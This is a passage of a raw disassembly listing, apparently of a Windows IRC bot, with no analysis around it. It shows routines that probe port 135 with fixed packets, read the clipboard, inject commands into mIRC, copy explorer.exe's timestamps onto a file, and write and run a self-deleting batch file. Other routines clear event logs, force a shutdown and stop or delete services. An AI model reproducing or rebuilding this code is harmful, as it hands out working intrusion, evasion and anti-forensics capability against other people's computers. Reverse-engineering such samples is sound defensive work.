0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push 87h call dword_4CB9D4 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push esi call dword_4CB97C ; connect cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439374 push esi call dword_4CBA24 ; send cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC ; recv cmp eax, edi jz loc_41842A cmp byte ptr [ebp+var_2010+2], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393C0 push [ebp+arg_4] call dword_4CBA24 ; send cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC ; recv mov esi, eax cmp esi, edi jz short loc_41842A cmp byte ptr [ebp+var_2010+2], 2 jnz short loc_41842A push 10h ; Size push offset dword_4393DC ; Buf2 lea eax, [ebp+var_2010] push esi ; int push eax ; int call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h ; Size push offset dword_4393F0 ; Buf2 lea eax, [ebp+var_2010] push esi ; int push eax ; int call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA6C ; closesocket mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41843B(char *Src,char *SubStr,char *Source) sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... Src = dword ptr 8 SubStr = dword ptr 0Ch Source = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Src] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+SubStr] cmp eax, esi jz short loc_4184C6 cmp [ebp+Source], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi ; Src call __strdup mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+SubStr] ; SubStr push edi ; Str call _strstr mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax ; Count push edi ; Source push ebx ; Dest call _strncpy push [ebp+Source] ; Str mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call _strlen push eax ; Count push [ebp+Source] ; Source push ebx ; Dest call _strncat push [ebp+SubStr] ; Str call _strlen add eax, esi push eax ; Source push ebx ; Dest call _strcat push ebx ; Source push edi ; Dest call _strcpy add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4184CC(char *Str,int) sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; sub_410BFD+F4p Dst = dword ptr -7D0h var_7CC = byte ptr -7CCh Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset mov esi, [ebp+Str] push esi ; Str call _strlen add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+Dst], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+Dst] push 7D0h ; Size push eax ; Src push [ebp+arg_4] ; Dst call _memcpy add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax ; C call _tolower ; _tolower cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4185D3(char *Str,int) sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; sub_415E4B+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call __alloca_probe push ebx push esi push edi push [ebp+Str] ; Str call _strlen push [ebp+arg_4] ; Str mov [ebp+var_4], eax call _strlen mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov ebx, eax mov eax, [ebp+Str] movsx eax, byte ptr [edi+eax] push eax ; C call _tolower ; _tolower pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+Str] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov edx, eax movsx eax, byte ptr [edi+ebx] push eax ; C mov [ebp+var_8], edx call _tolower ; _tolower pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+Str] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_427094 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_427164 ; FormatMessageA lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset byte_4DB17C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9A4 ; OpenClipboard test eax, eax jz short loc_41875A push 1 call dword_4CB9C4 ; GetClipboardData mov esi, eax test esi, esi jz short loc_41875A push edi push esi call ds:dword_42716C ; GlobalLock push esi mov edi, eax call ds:dword_427168 ; GlobalUnlock call dword_4CBA28 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41875E(char *Format) sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp Format = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9E0 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_427178 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:dword_427174 ; MapViewOfFile push [esp+10h+Format] ; Format mov ebx, eax push ebx ; Dest call _sprintf pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA30 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4CBA30 ; SendMessageA push ebx call ds:dword_427170 ; UnmapViewOfFile push edi call ds:dword_427070 ; CloseHandle push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: WinMain(x,x,x,x)+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBA90 ; SearchPathA test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_427180 ; GetFileTime push ebx mov ebx, ds:dword_427070 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_42717C ; SetFileTime push esi call ebx ; CloseHandle loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB914 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; sub_4167A0+472p Str = byte ptr -764h var_364 = byte ptr -364h Dest = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h Dst = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAA4, esi jnz short loc_4188CA push esi ; Str call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+Str] push eax push 400h call ds:dword_4270B8 ; GetTempPathA lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset aSdel_bat ; "%sdel.bat" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_4270F8 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push edi call ds:dword_4270F0 ; WriteFile push edi call ds:dword_427070 ; CloseHandle push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_58] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB88 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_4270A4 ; GetModuleHandleA push eax call ds:dword_427078 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_4270A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax call ds:dword_42709C ; SetFileAttributesA loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+Str] push eax call ds:dword_427184 ; ExpandEnvironmentStringsA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_427074 ; CreateProcessA loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418A2E(int,char *Str,int,int,int) sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p Dest = byte ptr -294h Dst = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] mov [ebp+Dst], 94h push eax call ds:dword_4270D0 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB954 ; OpenEventLogA push edi push eax call dword_4CB964 ; ClearEventLogA test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset asc_4394FC ; "-" loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+Dest] push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_4394D4 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+Dest] push offset asc_4394A4 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418AF1(char *Source,int,int) sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp Dest = word ptr -1C0h var_15C = byte ptr -15Ch Str = word ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call ds:dword_4270D0 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call ds:dword_4270C0 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call ds:dword_4270C4 ; GetProcAddress push 32h ; MaxCount mov edi, eax push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+var_15C] push [ebp+arg_4] ; Source push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+Str] push [ebp+arg_8] ; Source push eax ; Dest call _mbstowcs lea eax, [ebp+Str] push eax ; Str call _wcslen shl eax, 1 push eax lea eax, [ebp+Str] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call ds:dword_427144 ; FreeLibrary mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p ; sub_40F0F1+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call _rand mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_4276E0 call __ftol sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439520[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43951C[esi] push offset asc_439630 ; "-" loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset byte_4DBA40 push esi ; Dest call _sprintf add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439604 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset byte_4DBA40 push off_439518[eax*4] push offset asc_4395E0 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9C8 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_418CAF call ds:dword_427094 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8B0 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_418CCF call ds:dword_427094 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB91C ; ControlService jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8B8 ; StartServiceA jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB920 ; DeleteService loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 call ds:dword_427094 ; RtlGetLastWin32Error mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8CC ; CloseServiceHandle loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8CC ; CloseServiceHandle pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_418E96[ecx] jmp ds:off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: .text:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: .text:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset byte_4DB380 ; Dest call _sprintf pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset byte_4DB380 ; Dest call _sprintf add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset byte_4DB380 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset 